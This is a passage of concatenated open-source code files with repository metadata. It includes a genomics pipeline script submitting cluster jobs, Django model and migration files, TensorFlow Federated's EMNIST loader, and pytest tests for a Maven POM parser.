workspace + "annotate_peaks.sh", sample_dir + input_tag_folder + "/peaks.txt", sample_dir + input_tag_folder + "/peaks.annotate.txt", input_tag_folder, genome]) if style == "histone": subprocess.call(["qsub", workspace + "annotate_peaks.sh", sample_dir + input_tag_folder + "/regions.txt", sample_dir + input_tag_folder + "/regions.annotate.txt", input_tag_folder, genome]) else: chip_tag_folder = sample_file.get("filename")[:sample_file.get("filename").find(",")][:-6] input_tag_folder = sample_file.get("filename")[sample_file.get("filename").find(",") + 2:][:-6] group_tag_folder = chip_tag_folder + "_vs_" + input_tag_folder if style == "factor": subprocess.call(["qsub", workspace + "annotate_peaks.sh", sample_dir + group_tag_folder + "/peaks.txt", sample_dir + group_tag_folder + "/peaks.annotate.txt", sample_dir + group_tag_folder, genome]) if style == "histone": subprocess.call(["qsub", workspace + "annotate_peaks.sh", sample_dir + group_tag_folder + "/regions.txt", sample_dir + group_tag_folder + "/regions.annotate.txt", sample_dir + group_tag_folder, genome]) PBSTracker.trackPBSQueue(1, "annotate_p") ## pos2bed def pos2bed(workflow, project_name, sample_list, style): workspace = root_dir + "/" + workflow + "/scripts/" sample_dir = data_dir + "/" + project_name + "/" + workflow + "/" print "executing pos2bed..." for sample_file in sample_list: if sample_file.get("filename").find(",") < 0: input_tag_folder = sample_file[:-6] if style == "factor": subprocess.call(["qsub", workspace + "pos2bed.sh", sample_dir + input_tag_folder + "/peaks.txt", sample_dir + input_tag_folder + "/output.bed"]) if style == "histone": subprocess.call(["qsub", workspace + "pos2bed.sh", sample_dir + input_tag_folder + "/regions.txt", sample_dir + input_tag_folder + "/output.bed"]) else: chip_tag_folder = sample_file.get("filename")[:sample_file.get("filename").find(",")][:-6] input_tag_folder = sample_file.get("filename")[sample_file.get("filename").find(",") + 2:][:-6] group_tag_folder = chip_tag_folder + "_vs_" + input_tag_folder if style == "factor": subprocess.call(["qsub", workspace + "pos2bed.sh", sample_dir + group_tag_folder + "/peaks.txt", sample_dir + group_tag_folder + "/output.bed"]) if style == "histone": subprocess.call(["qsub", workspace + "pos2bed.sh", sample_dir + group_tag_folder + "/regions.txt", sample_dir + group_tag_folder + "/output.bed"]) PBSTracker.trackPBSQueue(1, "pos2bed") ## find motifs genome def find_motifs_genome(workflow, project_name, sample_list, style, genome): workspace = root_dir + "/" + workflow + "/scripts/" sample_dir = data_dir + "/" + project_name + "/" + workflow + "/" print "executing find_motifs_genome..." for sample_file in sample_list: if sample_file.get("filename").find(",") < 0: input_tag_folder = sample_file.get("filename")[:-6] if style == "factor": subprocess.call(["qsub", workspace + "find_motifs_genome.sh", sample_dir + input_tag_folder + "/peaks.txt", sample_dir + input_tag_folder + "/MotifOutput/", genome]) if style == "histone": subprocess.call(["qsub", workspace + "find_motifs_genome.sh", sample_dir + input_tag_folder + "/regions.txt", sample_dir + input_tag_folder + "/MotifOutput/", genome]) else: chip_tag_folder = sample_file.get("filename")[:sample_file.get("filename").find(",")][:-6] input_tag_folder = sample_file.get("filename")[sample_file.get("filename").find(",") + 2:][:-6] group_tag_folder = chip_tag_folder + "_vs_" + input_tag_folder if style == "factor": subprocess.call(["qsub", workspace + "find_motifs_genome.sh", sample_dir + group_tag_folder + "/peaks.txt", sample_dir + group_tag_folder + "/MotifOutput/", genome]) if style == "histone": subprocess.call(["qsub", workspace + "find_motifs_genome.sh", sample_dir + group_tag_folder + "/regions.txt", sample_dir + group_tag_folder + "/MotifOutput/", genome]) PBSTracker.trackPBSQueue(1, "find_motif") ## uploading resulting files to s3. def upload_files(workflow, project_name, s3_output_files_address): print "executing upload files..." workspace = root_dir + "/" + workflow + "/scripts/" sample_dir = data_dir + "/" + project_name + "/" + workflow + "/" subprocess.call(["qsub", workspace + "upload.sh", sample_dir, s3_output_files_address + "/" + project_name + "/" + workflow]) PBSTracker.trackPBSQueue(1, "upload") if __name__ == '__main__': #yaml_file = "/Users/guorongxu/Desktop/workspace/projects/jupyter-genomics_bitbucket/src/awsCluster/chipSeq/Sample_cDNA.yaml" yaml_file = sys.argv[1] run_analysis(yaml_file)

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py

Python

bibbutler_web/models/__init__.py

dolonnen/bibbuttler

a9f672d0321fa6d060e204ecc952ed333edc1d81

[ "MIT" ]

null

bibbutler_web/models/__init__.py

dolonnen/bibbuttler

a9f672d0321fa6d060e204ecc952ed333edc1d81

[ "MIT" ]

null

bibbutler_web/models/__init__.py

dolonnen/bibbuttler

a9f672d0321fa6d060e204ecc952ed333edc1d81

[ "MIT" ]

null

from bibbutler_web.models.general import * from bibbutler_web.models.entry import *

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py

Python

roza/migrations/0012_auto_20210419_1547.py

sahin88/roza-tex

a05fdcaac7ba0e609e579d60a20ff9b13d824c64

[ "Unlicense" ]

null

roza/migrations/0012_auto_20210419_1547.py

sahin88/roza-tex

a05fdcaac7ba0e609e579d60a20ff9b13d824c64

[ "Unlicense" ]

null

roza/migrations/0012_auto_20210419_1547.py

sahin88/roza-tex

a05fdcaac7ba0e609e579d60a20ff9b13d824c64

[ "Unlicense" ]

null

# Generated by Django 3.1.7 on 2021-04-19 15:47 from django.db import migrations, models import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('roza', '0011_auto_20210324_2254'), ] operations = [ migrations.CreateModel( name='homep', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('image1', models.ImageField(blank=True, upload_to='home/images')), ('msg1', models.CharField(blank=True, max_length=255)), ('image2', models.ImageField(blank=True, upload_to='home/images')), ('msg2', models.CharField(blank=True, max_length=255)), ('image3', models.ImageField(blank=True, upload_to='home/images')), ('msg3', models.CharField(blank=True, max_length=255)), ], ), migrations.CreateModel( name='newsfeed_model', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('image1', models.ImageField(blank=True, null=True, upload_to='home/bottom/images')), ('title', models.CharField(blank=True, max_length=255)), ('description', models.TextField(blank=True)), ], ), migrations.DeleteModel( name='Home', ), migrations.DeleteModel( name='NewsFeed', ), migrations.AlterField( model_name='about', name='description', field=models.TextField(blank=True), ), migrations.AlterField( model_name='about', name='image', field=models.ImageField(blank=True, default=django.utils.timezone.now, upload_to='about/images'), preserve_default=False, ), migrations.AlterField( model_name='about', name='title', field=models.CharField(blank=True, default=django.utils.timezone.now, max_length=255), preserve_default=False, ), migrations.AlterField( model_name='application', name='application_field', field=models.CharField(blank=True, default=django.utils.timezone.now, max_length=255), preserve_default=False, ), migrations.AlterField( model_name='application', name='description1', field=models.TextField(blank=True, default=django.utils.timezone.now), preserve_default=False, ), migrations.AlterField( model_name='application', name='description3', field=models.TextField(blank=True, default=django.utils.timezone.now), preserve_default=False, ), migrations.AlterField( model_name='application', name='title1', field=models.CharField(blank=True, default=django.utils.timezone.now, max_length=255), preserve_default=False, ), migrations.AlterField( model_name='application', name='title2', field=models.CharField(blank=True, default=django.utils.timezone.now, max_length=255), preserve_default=False, ), migrations.AlterField( model_name='application', name='title3', field=models.CharField(blank=True, max_length=255), ), migrations.AlterField( model_name='product', name='bondings', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='cd_tensile_strength_unit', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='cd_tensile_strength_value', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='coathing_unit', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='coathing_value', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='constructions', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='core_size_unit', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='core_size_value', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='elongation_at_break_unit', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='elongation_at_break_value', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='md_tensile_strength_unit', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='md_tensile_strength_value', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='patern_unit', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='patern_value', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='patterns', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='product_name', field=models.CharField(blank=True, max_length=255), ), migrations.AlterField( model_name='product', name='role_length_unit', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='role_length_value', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='role_width_unit', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='role_width_value', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='warp_yarn_unit', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='warp_yarn_value', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='weft_yarn_unit', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='weft_yarn_value', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='weight_unit', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='weight_value', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='product', name='yarns_type', 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Python

tensorflow_federated/python/simulation/datasets/emnist.py

alessiomora/federated

3b501067ed7062aaec3cc8830aaec0a7cf8f0942

[ "Apache-2.0" ]

1,918

2019-02-22T21:17:28.000Z

2022-03-30T14:49:53.000Z

tensorflow_federated/python/simulation/datasets/emnist.py

alessiomora/federated

3b501067ed7062aaec3cc8830aaec0a7cf8f0942

[ "Apache-2.0" ]

999

2019-02-22T21:47:44.000Z

2022-03-31T11:06:42.000Z

tensorflow_federated/python/simulation/datasets/emnist.py

alessiomora/federated

3b501067ed7062aaec3cc8830aaec0a7cf8f0942

[ "Apache-2.0" ]

498

2019-02-22T21:17:56.000Z

2022-03-29T02:54:15.000Z

# Copyright 2019, The TensorFlow Federated Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Libraries for the federated EMNIST dataset for simulation.""" import collections import tensorflow as tf from tensorflow_federated.python.simulation.datasets import download from tensorflow_federated.python.simulation.datasets import from_tensor_slices_client_data from tensorflow_federated.python.simulation.datasets import sql_client_data def _add_proto_parsing(dataset: tf.data.Dataset) -> tf.data.Dataset: """Add parsing of the tf.Example proto to the dataset pipeline.""" def parse_proto(tensor_proto): parse_spec = { 'pixels': tf.io.FixedLenFeature(shape=(28, 28), dtype=tf.float32), 'label': tf.io.FixedLenFeature(shape=(), dtype=tf.int64) } parsed_features = tf.io.parse_example(tensor_proto, parse_spec) return collections.OrderedDict( label=tf.cast(parsed_features['label'], tf.int32), pixels=parsed_features['pixels']) return dataset.map(parse_proto, num_parallel_calls=tf.data.AUTOTUNE) def load_data(only_digits=True, cache_dir=None): """Loads the Federated EMNIST dataset. Downloads and caches the dataset locally. If previously downloaded, tries to load the dataset from cache. This dataset is derived from the Leaf repository (https://github.com/TalwalkarLab/leaf) pre-processing of the Extended MNIST dataset, grouping examples by writer. Details about Leaf were published in "LEAF: A Benchmark for Federated Settings" https://arxiv.org/abs/1812.01097. *Note*: This dataset does not include some additional preprocessing that MNIST includes, such as size-normalization and centering. In the Federated EMNIST data, the value of 1.0 corresponds to the background, and 0.0 corresponds to the color of the digits themselves; this is the *inverse* of some MNIST representations, e.g. in [tensorflow_datasets] (https://github.com/tensorflow/datasets/blob/master/docs/datasets.md#mnist), where 0 corresponds to the background color, and 255 represents the color of the digit. Data set sizes: *only_digits=True*: 3,383 users, 10 label classes - train: 341,873 examples - test: 40,832 examples *only_digits=False*: 3,400 users, 62 label classes - train: 671,585 examples - test: 77,483 examples Rather than holding out specific users, each user's examples are split across _train_ and _test_ so that all users have at least one example in _train_ and one example in _test_. Writers that had less than 2 examples are excluded from the data set. The `tf.data.Datasets` returned by `tff.simulation.datasets.ClientData.create_tf_dataset_for_client` will yield `collections.OrderedDict` objects at each iteration, with the following keys and values, in lexicographic order by key: - `'label'`: a `tf.Tensor` with `dtype=tf.int32` and shape [1], the class label of the corresponding pixels. Labels [0-9] correspond to the digits classes, labels [10-35] correspond to the uppercase classes (e.g., label 11 is 'B'), and labels [36-61] correspond to the lowercase classes (e.g., label 37 is 'b'). - `'pixels'`: a `tf.Tensor` with `dtype=tf.float32` and shape [28, 28], containing the pixels of the handwritten digit, with values in the range [0.0, 1.0]. Args: only_digits: (Optional) whether to only include examples that are from the digits [0-9] classes. If `False`, includes lower and upper case characters, for a total of 62 class labels. cache_dir: (Optional) directory to cache the downloaded file. If `None`, caches in Keras' default cache directory. Returns: Tuple of (train, test) where the tuple elements are `tff.simulation.datasets.ClientData` objects. """ database_path = download.get_compressed_file( origin='https://storage.googleapis.com/tff-datasets-public/emnist_all.sqlite.lzma', cache_dir=cache_dir) if only_digits: train_client_data = sql_client_data.SqlClientData( database_path, 'digits_only_train').preprocess(_add_proto_parsing) test_client_data = sql_client_data.SqlClientData( database_path, 'digits_only_test').preprocess(_add_proto_parsing) else: train_client_data = sql_client_data.SqlClientData( database_path, 'all_train').preprocess(_add_proto_parsing) test_client_data = sql_client_data.SqlClientData( database_path, 'all_test').preprocess(_add_proto_parsing) return train_client_data, test_client_data def get_synthetic(): """Returns a small synthetic dataset for testing. The single client produced has exactly 10 examples, one example for each digit label. The images are derived from a fixed set of hard-coded images. Returns: A `tff.simulation.datasets.ClientData` object that matches the characteristics (other than size) of those provided by `tff.simulation.datasets.emnist.load_data`. """ return from_tensor_slices_client_data.TestClientData( {'synthetic': _get_synthetic_digits_data()}) def _get_synthetic_digits_data(): """Returns a dictionary suitable for `tf.data.Dataset.from_tensor_slices`. Returns: A dictionary that matches the structure of the data produced by `tff.simulation.datasets.emnist.load_data`, with keys (in lexicographic order) `label` and `pixels`. """ data = _SYNTHETIC_DIGITS_DATA img_list = [] for img_array in data: img_array = tf.constant(img_array, dtype=tf.float32) / 9.0 img_list.append(img_array) pixels = tf.stack(img_list, axis=0) labels = tf.constant(range(10), dtype=tf.int32) return collections.OrderedDict(label=labels, pixels=pixels) # pyformat: disable # pylint: disable=bad-continuation,bad-whitespace _SYNTHETIC_DIGITS_DATA = [ [[9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,7,4,4,4,4,4,7,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,4,0,0,0,0,0,4,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,7,4,2,0,2,4,2,0,2,4,7,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,4,0,0,0,4,9,4,0,0,0,4,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,4,0,0,0,4,9,4,0,0,0,4,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,4,0,0,0,4,9,4,0,0,0,4,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,4,0,0,0,4,9,4,0,0,0,4,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,4,0,0,0,4,9,4,0,0,0,4,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,4,0,0,0,4,9,4,0,0,0,4,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,4,0,0,0,4,9,4,0,0,0,4,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,4,0,0,0,4,9,4,0,0,0,4,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,4,0,0,0,4,9,4,0,0,0,4,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,7,4,2,0,2,4,2,0,2,4,7,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,4,0,0,0,0,0,4,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,7,4,4,4,4,4,7,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9], 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[9,9,9,9,9,9,9,9,7,4,2,0,2,4,2,0,0,0,4,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,4,0,0,0,0,0,0,0,4,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,7,4,4,4,2,0,0,0,4,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,9,9,9,9,4,0,0,0,4,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,7,4,4,4,7,9,4,0,0,0,4,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,4,0,0,0,4,9,4,0,0,0,4,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,7,4,2,0,2,4,2,0,2,4,7,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,4,0,0,0,0,0,4,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,7,4,4,4,4,4,7,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9], [9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9]] ]

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mylib/__init__.py

913982779/eight_queens

5bbd6a5ee371843e6a22a063d8b8a1be4a885dbc

[ "MIT" ]

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2021-11-03T11:58:19.000Z

mylib/__init__.py

913982779/eight_queens

5bbd6a5ee371843e6a22a063d8b8a1be4a885dbc

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mylib/__init__.py

913982779/eight_queens

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Python

test/platforms/jvm/test_maven_pom.py

toptal/license-cop

84f3dbf7b3632d761e423b182ce0d9927b885f41

[ "MIT" ]

24

2017-11-21T18:30:19.000Z

2021-11-08T10:52:48.000Z

test/platforms/jvm/test_maven_pom.py

toptal/license-cop

84f3dbf7b3632d761e423b182ce0d9927b885f41

[ "MIT" ]

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2017-11-22T15:50:56.000Z

2021-09-30T09:03:21.000Z

test/platforms/jvm/test_maven_pom.py

toptal/license-cop

84f3dbf7b3632d761e423b182ce0d9927b885f41

[ "MIT" ]

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2017-11-21T14:08:21.000Z

2021-04-07T19:30:09.000Z

import pytest from textwrap import dedent from test import * from app.platforms.jvm.maven_pom import MavenPom from app.platforms.jvm.maven_dependency import MavenDependency from app.platforms.jvm.package_name import JvmPackageName from app.platforms.jvm.maven_package_registry import MavenPackageRegistry from app.dependency import DependencyKind @pytest.fixture def registry(): return MavenPackageRegistry(http_compression=False) def test_parse_scalar_xml(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <modelVersion>4.0.0</modelVersion> <groupId>org.spire-math</groupId> <artifactId>kind-projector_2.10</artifactId> <packaging>jar</packaging> <description>kind-projector</description> <url>http://github.com/non/kind-projector</url> <version>0.9.4</version> <licenses> <license> <name>MIT</name> <url>http://opensource.org/licenses/MIT</url> <distribution>repo</distribution> </license> <license> <name>GPLv3</name> <url>http://opensource.org/licenses/GPLv3</url> <distribution>repo</distribution> </license> </licenses> <name>kind-projector</name> <organization> <name>org.spire-math</name> <url>http://github.com/non/kind-projector</url> </organization> <scm> <url>git@github.com:non/kind-projector.git</url> <connection>scm:git:git@github.com:non/kind-projector.git</connection> </scm> <developers> <developer> <id>d_m</id> <name>Erik Osheim</name> <url>http://github.com/non/</url> </developer> </developers> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.group_id == 'org.spire-math' assert pom.artifact_id == 'kind-projector_2.10' assert pom.version == '0.9.4' assert pom.parent is None assert pom.properties == {} assert pom.dependencies == [] assert set(pom.licenses) == set(['MIT', 'GPLv3']) assert pom.urls == set([ 'http://github.com/non/kind-projector', 'git@github.com:non/kind-projector.git' ]) def test_parse_xml_with_dependencies(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <groupId>org.spire-math</groupId> <artifactId>kind-projector_2.10</artifactId> <version>0.9.4</version> <dependencies> <dependency> <groupId>org.scala-lang</groupId> <artifactId>scala-compiler</artifactId> <version>2.10.6</version> </dependency> <dependency> <groupId>org.scala-lang</groupId> <artifactId>scala-library</artifactId> <version>2.10.6</version> </dependency> <dependency> <groupId>org.scalamacros</groupId> <artifactId>quasiquotes_2.10</artifactId> <version>2.1.0</version> </dependency> <dependency> <groupId>com.novocode</groupId> <artifactId>junit-interface</artifactId> <version>0.11</version> <scope>test</scope> </dependency> <dependency> <groupId>org.ensime</groupId> <artifactId>pcplod_2.10</artifactId> <version>1.2.1</version> <scope>test</scope> </dependency> </dependencies> </project> ''') pom = MavenPom.parse(xml, registry) assert set(pom.filter_dependencies(DependencyKind.RUNTIME)) == set([ MavenDependency('org.scala-lang', 'scala-compiler'), MavenDependency('org.scala-lang', 'scala-library'), MavenDependency('org.scalamacros', 'quasiquotes_2.10') ]) assert set(pom.filter_dependencies(DependencyKind.DEVELOPMENT)) == set([ MavenDependency('com.novocode', 'junit-interface', 'test'), MavenDependency('org.ensime', 'pcplod_2.10', 'test') ]) def test_parse_xml_with_only_one_dependency(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <dependencies> <dependency> <groupId>org.scala-lang</groupId> <artifactId>scala-compiler</artifactId> <version>2.10.6</version> </dependency> </dependencies> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.dependencies == [ MavenDependency('org.scala-lang', 'scala-compiler') ] def test_parse_xml_with_empty_dependencies_block(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <dependencies> </dependencies> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.dependencies == [] @VCR.use_cassette('maven_pom_parse_xml_with_parent.yaml') def test_parse_xml_with_parent(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <groupId>org.apache.ws.commons.axiom</groupId> <artifactId>axiom-parent</artifactId> <version>1.2.9</version> <parent> <groupId>org.apache</groupId> <artifactId>apache</artifactId> <version>7</version> </parent> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.parent.group_id == 'org.apache' assert pom.parent.artifact_id == 'apache' assert pom.parent.version == '7' assert pom.parent.parent is None @VCR.use_cassette('maven_pom_parse_xml_with_parent_and_grandparent.yaml') def test_parse_xml_with_parent_and_grandparent(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <groupId>org.apache.cxf</groupId> <artifactId>apache-cxf</artifactId> <version>2.2.5</version> <parent> <groupId>org.apache.cxf</groupId> <artifactId>cxf-parent</artifactId> <version>2.2.5</version> <relativePath>../parent</relativePath> </parent> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.parent.group_id == 'org.apache.cxf' assert pom.parent.artifact_id == 'cxf-parent' assert pom.parent.version == '2.2.5' assert pom.parent.parent.group_id == 'org.apache.cxf' assert pom.parent.parent.artifact_id == 'cxf' assert pom.parent.parent.version == '2.2.5' assert pom.parent.parent.parent is None @VCR.use_cassette('maven_pom_parse_xml_with_group_id_from_parent.yaml') def test_parse_xml_with_group_id_from_parent(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <parent> <groupId>org.apache.cxf</groupId> <artifactId>cxf-parent</artifactId> <version>2.2.5</version> <relativePath>../parent</relativePath> </parent> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.group_id == 'org.apache.cxf' def test_parse_xml_with_properties(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <properties> <stax.impl.groupid>org.codehaus.woodstox</stax.impl.groupid> <stax.impl.artifact>wstx-asl</stax.impl.artifact> <stax.impl.version>3.2.9</stax.impl.version> <failIfNoTests>false</failIfNoTests> </properties> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.properties == { 'stax.impl.groupid': 'org.codehaus.woodstox', 'stax.impl.artifact': 'wstx-asl', 'stax.impl.version': '3.2.9', 'failIfNoTests': 'false' } @VCR.use_cassette('maven_pom_parse_xml_with_properties_merged_with_parent_properties.yaml') def test_parse_xml_with_properties_merged_with_parent_properties(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <parent> <groupId>org.apache</groupId> <artifactId>apache</artifactId> <version>7</version> </parent> <properties> <stax.impl.groupid>org.codehaus.woodstox</stax.impl.groupid> <stax.impl.artifact>wstx-asl</stax.impl.artifact> <stax.impl.version>3.2.9</stax.impl.version> <failIfNoTests>false</failIfNoTests> </properties> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.properties == { 'stax.impl.groupid': 'org.codehaus.woodstox', 'stax.impl.artifact': 'wstx-asl', 'stax.impl.version': '3.2.9', 'failIfNoTests': 'false', 'distMgmtSnapshotsName': 'Apache Development Snapshot Repository', 'distMgmtSnapshotsUrl': 'https://repository.apache.org/content/repositories/snapshots', 'organization.logo': 'http://www.apache.org/images/asf_logo_wide.gif', 'project.build.sourceEncoding': 'UTF-8', 'sourceReleaseAssemblyDescriptor': 'source-release' } def test_parse_xml_with_only_one_property(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <properties> <stax.impl.groupid>org.codehaus.woodstox</stax.impl.groupid> </properties> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.properties == {'stax.impl.groupid': 'org.codehaus.woodstox'} def test_parse_xml_with_empty_properties_block(registry): xml = dedent('''\ <?xml version='1.0' encoding='UTF-8'?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"> <properties> </properties> </project> ''') pom = MavenPom.parse(xml, registry) assert pom.properties == {} def test_parse_xml_with_only_one_license(registry): xml = 